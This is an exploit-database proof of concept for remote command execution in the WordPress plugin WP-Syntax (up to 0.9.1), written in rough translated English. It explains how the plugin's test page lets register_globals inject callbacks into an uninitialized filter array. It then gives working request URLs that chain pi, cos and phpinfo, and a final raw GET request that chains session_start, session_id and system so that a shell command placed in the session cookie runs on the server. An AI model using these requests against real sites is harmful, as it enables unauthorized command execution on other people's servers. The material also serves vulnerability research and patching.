WordPress Plugin WP-Syntax < = 0.9.1 Remote Command Execution PoC

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Wordpress Plugin WP-Syntax <= 0.9.1 Remote Command Execution
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1 /’ \ __ /’__`\ /\ \__ /’__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /’ _ `\ \/\ \/_/_\_<_ /’___\ \ \/\ \ \ \ \/\`’__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 0
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#[+] Discovered By : Inj3ct0r
#[+] Site : Inj3ct0r.com
#[+] support e-mail : submit[at]inj3ct0r.com

WP-Syntax – This is the most popular plugin for wordpress to highlight the code. It is used on many sites, such as Stefan Esser uses it on his blog. For me this plugin is of interest, as found in his blog quite a large farm-partnerki. Following an analysis of source code, I found quite unusual vulnerability, therefore, decided to create a separate topic. Probably somebody have comments or thoughts about a more elegant solution.

WP-Syntax uses the library GeSHi, which implements all the functionality to review the syntax and appropriate for each language html-code. Having reviewed the main script plugin wp-syntax.php, I moved to the folder test, where the 2 scripts: index.php and code.php. Code.php contains code examples for different languages, and leads them to the index.php illumination to demonstrate the capacity of the plug-in. Index.php inkludit wp-syntax.php, which in turn connects geshi.php. According to the developer wp-syntax.php can be called only in the context of WP, while the test / index.php can be run independently of the platform, the author decided to use samopalnoe WP likeness of a mechanism to implement the callback-function. Who is familiar with the internal device, WP, or at least see part of the code can understand what I am talking about functions add_action (), do_action (), apply_filters (), etc.

Self-f-tion apply_filters as follows:

PHP code:

function apply_filters($tag, $string)
{
global $test_filter;

if (!isset($test_filter[$tag])) return $string;

uksort($test_filter[$tag], “strnatcasecmp”);

foreach ($test_filter[$tag] as $priority => $functions)
{
if (is_null($functions)) continue;

foreach($functions as $function)
{
$string = call_user_func_array($function, array($string));
}
}
return $string;
}

Global array test_filter there has not previously initialized, so you can add to the random elements, with register_globals = on and then execute any function using call_user_func_array. In WP there is a special t-tion – unregister_globals, protects against these vulnerabilities, but another case – the script works outside the context of WP.

apply_filters called in several places, one of them:

<html>
<head>
<title>WP-Syntax Test Page</title>
<link rel=”stylesheet” href=”../wp-syntax.css” type=”text/css” media=”screen” />
<?php
test_head();

/* … */

function test_head()
{
echo apply_filters(“wp_head”, “”);
}
?>

As we can see the complexity of the case is that you can not function with arbitrary arguments – will be transferred to an empty argument of type string. At first glance it seemed to me that even banal phpinfo () will not be able to perform because it only takes an argument of type integer, or there is an error of level E_WARNING. However vniknuv the logic of the F-apply_filters is clear that the argument for change call_user_func_array () can be, because it runs in a loop and assigns the result of his argument for the next callback-function. In other words by means of a chain composed of functions could be to receive and transmit the -1 value in phpinfo (-1 = INFO_ALL). Then I started remembering all the functions of PHP, which could help me in this situation. As it turned out many of the functions do not take arguments, causing the error, if they give a blank value. Nevertheless, I need the sequence of function calls was found:

http://localhost/wp/2.7/wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=pi&test_filter[wp_head][99][1]=cos&test_filter[wp_head][99][2]=phpinfo

First call the function pi (), returns the value of pi. Oddly, this feature, despite the lack of arguments, it is an error “Wrong parameter count for”. Then comes the call to the function cos (), which is passed the value of pi. As you know, cos (pi) = -1, so in the phpinfo () reaches the desired value and output data.

It seemed no longer to achieve, but I continue to seek ways to perform arbitrary commands. It was necessary to find a function that returns would be needed for my data. These data could be obtained from the environment, but do not reach appropriate functions. However, the way all the same was found =)

PHP code:

<?php
session_start(“”);
echo session_id();
echo session_id(“”);
echo session_id();
?>

It was found that the session_id returns last ID, despite the fact that the function was transferred to the parameter. I do not know this bug or not, but at the docks on that occasion said nothing. As a result, the final query looks as follows:
F-tion session_id () can return a value as the current session ID, and install it, if there was any argument. I obviously need to get value,but how to deal with an empty parameter, which is constantly being passed? I decided to check the return value of this script:

GET /wp/2.7/wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
Host: localhost
Cookie: PHPSESSID=dir
Connection: close

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